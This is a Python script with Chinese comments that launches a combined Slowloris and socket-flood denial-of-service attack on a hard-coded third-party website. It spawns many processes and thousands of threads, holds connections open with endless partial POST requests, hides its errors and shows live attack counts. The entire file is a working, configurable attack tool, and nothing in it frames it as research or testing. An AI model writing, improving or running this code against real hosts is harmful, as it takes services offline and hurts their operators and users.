import socket
import threading
import multiprocessing
import time
import random
import os
from urllib.parse import urlparse


# ==================== 配置区（只改这里！） ====================

TARGET_URL = "http://1230302.tlu5.com/"   # ← 目标网址

PROCESSES = 16          # ← 进程数
SLOW_THREADS = 1000      # ← 每进程慢连接线程数（耗内存）
FLOOD_THREADS = 100     # ← 每进程洪水线程数（耗CPU/连接）
SLOW_INTERVAL = 10     # ← 慢连接心跳间隔（秒）


# ==================== 自动解析（不用改） ====================

parsed = urlparse(TARGET_URL)
HOST = parsed.hostname
PORT = parsed.port or 80
PATH = parsed.path or "/"


# ==================== 子进程攻击（完全静默） ====================

def attack_process(slow_threads, flood_threads, slow_interval, host, port, path, stats):
    """在子进程里跑，异常全部吃掉，绝不抛到屏幕上"""
    lock = threading.Lock()
    
    def slowloris():
        while True:
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(15)
                s.connect((host, port))
                payload = (
                    f"POST {path} HTTP/1.1\r\n"
                    f"Host: {host}\r\n"
                    f"Content-Type: application/x-www-form-urlencoded\r\n"
                    f"Content-Length: 99999999\r\n"
                    f"\r\n"
                ).encode()
                s.send(payload)
                with lock:
                    stats['slow'] += 1
                while True:
                    time.sleep(slow_interval + random.randint(0, 5))
                    s.send(f"X-{random.randint(1,9999)}=1&".encode())
            except Exception:
                with lock:
                    stats['fail'] += 1
                time.sleep(1)
    
    def flood():
        while True:
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(3)
                s.connect((host, port))
                s.send(b"GET / HTTP/1.1\r\nHost: ")
                s.close()
                with lock:
                    stats['flood'] += 1
            except Exception:
                with lock:
                    stats['fail'] += 1
    
    for _ in range(slow_threads):
        threading.Thread(target=slowloris, daemon=True).start()
    for _ in range(flood_threads):
        threading.Thread(target=flood, daemon=True).start()
    
    while True:
        time.sleep(1)


# ==================== 主程序 ====================

if __name__ == "__main__":
    # 跨进程共享字典（解决之前统计不准的问题）
    manager = multiprocessing.Manager()
    stats = manager.dict(slow=0, flood=0, fail=0)
    
    print(f"🚀 Slowloris + Socket Flood 联合攻击")
    print(f"🎯 目标: {HOST}:{PORT}{PATH}")
    print(f"🔧 进程:{PROCESSES} | 慢连接:{SLOW_THREADS}/进程 | 洪水:{FLOOD_THREADS}/进程")
    print(f"📊 总慢连接:{PROCESSES*SLOW_THREADS} | 总洪水:{PROCESSES*FLOOD_THREADS}")
    print(f"⏱️ 心跳:{SLOW_INTERVAL}秒")
    print("=" * 55)
    
    for i in range(PROCESSES):
        p = multiprocessing.Process(
            target=attack_process,
            args=(SLOW_THREADS, FLOOD_THREADS, SLOW_INTERVAL, HOST, PORT, PATH, stats),
            daemon=True
        )
        p.start()
    
    print("✅ 全部攻击已启动！按 Ctrl+C 停止\n")
    
    try:
        while True:
            time.sleep(5)
            # 清屏，让统计始终在最上面，不被异常淹没
            os.system('cls' if os.name == 'nt' else 'clear')
            
            print(f"🚀 攻击中... 目标: {HOST}:{PORT}{PATH}")
            print("=" * 55)
            print(f"[{time.strftime('%H:%M:%S')}] 🐌 Slowloris 存活: {stats['slow']}")
            print(f"[{time.strftime('%H:%M:%S')}] ⚡ Socket 洪水: {stats['flood']}")
            print(f"[{time.strftime('%H:%M:%S')}] ❌ 失败/拒绝:  {stats['fail']}")
            print("=" * 55)
            print("按 Ctrl+C 停止")
            
    except KeyboardInterrupt:
        os.system('cls' if os.name == 'nt' else 'clear')
        print("\n🛑 已停止")
        print("=" * 55)
        print(f"📈 总计: 🐌{stats['slow']} | ⚡{stats['flood']} | ❌{stats['fail']}")
        print("=" * 55)